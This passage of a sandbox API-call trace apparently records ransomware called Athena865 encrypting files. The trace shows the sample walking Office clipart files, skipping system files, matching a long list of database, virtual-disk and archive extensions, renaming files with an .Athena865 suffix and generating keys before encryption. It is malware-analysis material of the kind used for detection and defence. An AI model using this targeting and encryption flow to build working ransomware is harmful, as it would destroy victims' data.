lpString2="xld") returned -1 [0127.909] lstrlenW (lpString="xmlff") returned 5 [0127.909] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0127.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.Athena865") returned 73 [0127.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.athena865"), dwFlags=0x1) returned 1 [0127.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.910] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28276) returned 1 [0127.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.911] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.912] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.912] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.912] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7180, lpName=0x0) returned 0x154 [0127.913] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7180) returned 0x100000 [0127.915] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.916] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.916] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.917] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.917] CloseHandle (hObject=0x154) returned 1 [0127.917] CloseHandle (hObject=0x17c) returned 1 [0127.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.917] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0127.917] lstrcmpiW (lpString1="J0212299.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.917] lstrcmpiW (lpString1="J0212299.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.917] lstrcmpiW (lpString1="J0212299.WMF", lpString2=".") returned 1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="..") returned 1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="windows") returned -1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="bootmgr") returned 1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="temp") returned -1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="pagefile.sys") returned -1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="boot") returned 1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="ids.txt") returned 1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="ntuser.dat") returned -1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="perflogs") returned -1 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2="MSBuild") returned -1 [0127.918] lstrlenW (lpString="J0212299.WMF") returned 12 [0127.918] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0212299.WMF" | out: lpString1="J0212299.WMF") returned="J0212299.WMF" [0127.918] lstrlenW (lpString="J0212299.WMF") returned 12 [0127.918] lstrlenW (lpString="Athena865") returned 9 [0127.918] lstrcmpiW (lpString1="12299.WMF", lpString2="Athena865") returned -1 [0127.918] lstrlenW (lpString=".dll") returned 4 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2=".dll") returned 1 [0127.918] lstrlenW (lpString=".lnk") returned 4 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2=".lnk") returned 1 [0127.918] lstrlenW (lpString=".ini") returned 4 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2=".ini") returned 1 [0127.918] lstrlenW (lpString=".sys") returned 4 [0127.918] lstrcmpiW (lpString1="J0212299.WMF", lpString2=".sys") returned 1 [0127.918] lstrlenW (lpString="J0212299.WMF") returned 12 [0127.918] lstrlenW (lpString="bak") returned 3 [0127.918] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.919] lstrlenW (lpString="ba_") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.919] lstrlenW (lpString="dbb") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.919] lstrlenW (lpString="vmdk") returned 4 [0127.919] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.919] lstrlenW (lpString="rar") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.919] lstrlenW (lpString="zip") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.919] lstrlenW (lpString="tgz") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.919] lstrlenW (lpString="vbox") returned 4 [0127.919] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.919] lstrlenW (lpString="vdi") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.919] lstrlenW (lpString="vhd") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.919] lstrlenW (lpString="vhdx") returned 4 [0127.919] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.919] lstrlenW (lpString="avhd") returned 4 [0127.919] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.919] lstrlenW (lpString="db") returned 2 [0127.919] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.919] lstrlenW (lpString="db2") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.919] lstrlenW (lpString="db3") returned 3 [0127.919] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.919] lstrlenW (lpString="dbf") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.920] lstrlenW (lpString="mdf") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.920] lstrlenW (lpString="mdb") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.920] lstrlenW (lpString="sql") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.920] lstrlenW (lpString="sqlite") returned 6 [0127.920] lstrcmpiW (lpString1="99.WMF", lpString2="sqlite") returned -1 [0127.920] lstrlenW (lpString="sqlite3") returned 7 [0127.920] lstrcmpiW (lpString1="299.WMF", lpString2="sqlite3") returned -1 [0127.920] lstrlenW (lpString="sqlitedb") returned 8 [0127.920] lstrcmpiW (lpString1="2299.WMF", lpString2="sqlitedb") returned -1 [0127.920] lstrlenW (lpString="xml") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.920] lstrlenW (lpString="$er") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.920] lstrlenW (lpString="4dd") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.920] lstrlenW (lpString="4dl") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.920] lstrlenW (lpString="^^^") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.920] lstrlenW (lpString="abs") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.920] lstrlenW (lpString="abx") returned 3 [0127.920] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.920] lstrlenW (lpString="accdb") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0127.921] lstrlenW (lpString="accdc") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0127.921] lstrlenW (lpString="accde") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0127.921] lstrlenW (lpString="accdr") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0127.921] lstrlenW (lpString="accdt") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0127.921] lstrlenW (lpString="accdw") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0127.921] lstrlenW (lpString="accft") returned 5 [0127.921] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0127.921] lstrlenW (lpString="adb") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.921] lstrlenW (lpString="adb") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.921] lstrlenW (lpString="ade") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.921] lstrlenW (lpString="adf") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.921] lstrlenW (lpString="adn") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.921] lstrlenW (lpString="adp") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.921] lstrlenW (lpString="alf") returned 3 [0127.921] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.921] lstrlenW (lpString="ask") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.922] lstrlenW (lpString="btr") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.922] lstrlenW (lpString="cat") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.922] lstrlenW (lpString="cdb") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.922] lstrlenW (lpString="ckp") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.922] lstrlenW (lpString="cma") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.922] lstrlenW (lpString="cpd") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.922] lstrlenW (lpString="dacpac") returned 6 [0127.922] lstrcmpiW (lpString1="99.WMF", lpString2="dacpac") returned -1 [0127.922] lstrlenW (lpString="dad") returned 3 [0127.922] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.922] lstrlenW (lpString="dadiagrams") returned 10 [0127.922] lstrcmpiW (lpString1="212299.WMF", lpString2="dadiagrams") returned -1 [0127.922] lstrlenW (lpString="daschema") returned 8 [0127.922] lstrcmpiW (lpString1="2299.WMF", lpString2="daschema") returned -1 [0127.922] lstrlenW (lpString="db-journal") returned 10 [0127.922] lstrcmpiW (lpString1="212299.WMF", lpString2="db-journal") returned -1 [0127.922] lstrlenW (lpString="db-shm") returned 6 [0127.922] lstrcmpiW (lpString1="99.WMF", lpString2="db-shm") returned -1 [0127.922] lstrlenW (lpString="db-wal") returned 6 [0127.923] lstrcmpiW (lpString1="99.WMF", lpString2="db-wal") returned -1 [0127.923] lstrlenW (lpString="dbc") returned 3 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.923] lstrlenW (lpString="dbs") returned 3 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.923] lstrlenW (lpString="dbt") returned 3 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.923] lstrlenW (lpString="dbv") returned 3 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.923] lstrlenW (lpString="dbx") returned 3 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.923] lstrlenW (lpString="dcb") returned 3 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.923] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.Athena865") returned 73 [0127.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.athena865"), dwFlags=0x1) returned 1 [0127.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6158) returned 1 [0127.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.926] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.926] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.926] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.927] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b10, lpName=0x0) returned 0x154 [0127.930] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b10) returned 0x100000 [0127.933] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.934] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.934] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.936] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0212601.WMF" | out: lpString1="J0212601.WMF") returned="J0212601.WMF" [0127.936] lstrlenW (lpString="J0212601.WMF") returned 12 [0127.936] lstrlenW (lpString="Athena865") returned 9 [0127.936] lstrcmpiW (lpString1="12601.WMF", lpString2="Athena865") returned -1 [0127.936] lstrlenW (lpString=".dll") returned 4 [0127.936] lstrcmpiW (lpString1="J0212601.WMF", lpString2=".dll") returned 1 [0127.936] lstrlenW (lpString=".lnk") returned 4 [0127.936] lstrcmpiW (lpString1="J0212601.WMF", lpString2=".lnk") returned 1 [0127.936] lstrlenW (lpString=".ini") returned 4 [0127.936] lstrcmpiW (lpString1="J0212601.WMF", lpString2=".ini") returned 1 [0127.936] lstrlenW (lpString=".sys") returned 4 [0127.936] lstrcmpiW (lpString1="J0212601.WMF", lpString2=".sys") returned 1 [0127.936] lstrlenW (lpString="J0212601.WMF") returned 12 [0127.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.Athena865") returned 73 [0127.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.athena865"), dwFlags=0x1) returned 1 [0127.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.937] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9676) returned 1 [0127.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.938] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.938] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.939] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28d0, lpName=0x0) returned 0x154 [0127.940] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28d0) returned 0x100000 [0127.943] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.945] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.945] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.947] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0212685.WMF" | out: lpString1="J0212685.WMF") returned="J0212685.WMF" [0127.947] lstrlenW (lpString="J0212685.WMF") returned 12 [0127.947] lstrlenW (lpString="Athena865") returned 9 [0127.947] lstrcmpiW (lpString1="12685.WMF", lpString2="Athena865") returned -1 [0127.947] lstrlenW (lpString=".dll") returned 4 [0127.947] lstrcmpiW (lpString1="J0212685.WMF", lpString2=".dll") returned 1 [0127.947] lstrlenW (lpString=".lnk") returned 4 [0127.947] lstrcmpiW (lpString1="J0212685.WMF", lpString2=".lnk") returned 1 [0127.947] lstrlenW (lpString=".ini") returned 4 [0127.947] lstrcmpiW (lpString1="J0212685.WMF", lpString2=".ini") returned 1 [0127.947] lstrlenW (lpString=".sys") returned 4 [0127.947] lstrcmpiW (lpString1="J0212685.WMF", lpString2=".sys") returned 1 [0127.947] lstrlenW (lpString="J0212685.WMF") returned 12 [0127.948] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.Athena865") returned 73 [0127.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.athena865"), dwFlags=0x1) returned 1 [0127.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.949] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6554) returned 1 [0127.949] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.950] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.950] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.950] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca0, lpName=0x0) returned 0x154 [0127.951] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca0) returned 0x100000 [0127.952] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.953] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.953] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.959] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0212751.WMF" | out: lpString1="J0212751.WMF") returned="J0212751.WMF" [0127.959] lstrlenW (lpString="J0212751.WMF") returned 12 [0127.959] lstrlenW (lpString="Athena865") returned 9 [0127.959] lstrcmpiW (lpString1="12751.WMF", lpString2="Athena865") returned -1 [0127.959] lstrlenW (lpString=".dll") returned 4 [0127.959] lstrcmpiW (lpString1="J0212751.WMF", lpString2=".dll") returned 1 [0127.959] lstrlenW (lpString=".lnk") returned 4 [0127.959] lstrcmpiW (lpString1="J0212751.WMF", lpString2=".lnk") returned 1 [0127.959] lstrlenW (lpString=".ini") returned 4 [0127.959] lstrcmpiW (lpString1="J0212751.WMF", lpString2=".ini") returned 1 [0127.959] lstrlenW (lpString=".sys") returned 4 [0127.959] lstrcmpiW (lpString1="J0212751.WMF", lpString2=".sys") returned 1 [0127.959] lstrlenW (lpString="J0212751.WMF") returned 12 [0127.959] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.Athena865") returned 73 [0127.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.athena865"), dwFlags=0x1) returned 1 [0127.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.961] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2060) returned 1 [0127.961] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.962] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.962] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.962] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb10, lpName=0x0) returned 0x154 [0127.965] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb10) returned 0x100000 [0127.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.971] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.971] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.972] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0212953.WMF" | out: lpString1="J0212953.WMF") returned="J0212953.WMF" [0127.972] lstrlenW (lpString="J0212953.WMF") returned 12 [0127.972] lstrlenW (lpString="Athena865") returned 9 [0127.972] lstrcmpiW (lpString1="12953.WMF", lpString2="Athena865") returned -1 [0127.972] lstrlenW (lpString=".dll") returned 4 [0127.972] lstrcmpiW (lpString1="J0212953.WMF", lpString2=".dll") returned 1 [0127.972] lstrlenW (lpString=".lnk") returned 4 [0127.972] lstrcmpiW (lpString1="J0212953.WMF", lpString2=".lnk") returned 1 [0127.972] lstrlenW (lpString=".ini") returned 4 [0127.972] lstrcmpiW (lpString1="J0212953.WMF", lpString2=".ini") returned 1 [0127.972] lstrlenW (lpString=".sys") returned 4 [0127.972] lstrcmpiW (lpString1="J0212953.WMF", lpString2=".sys") returned 1 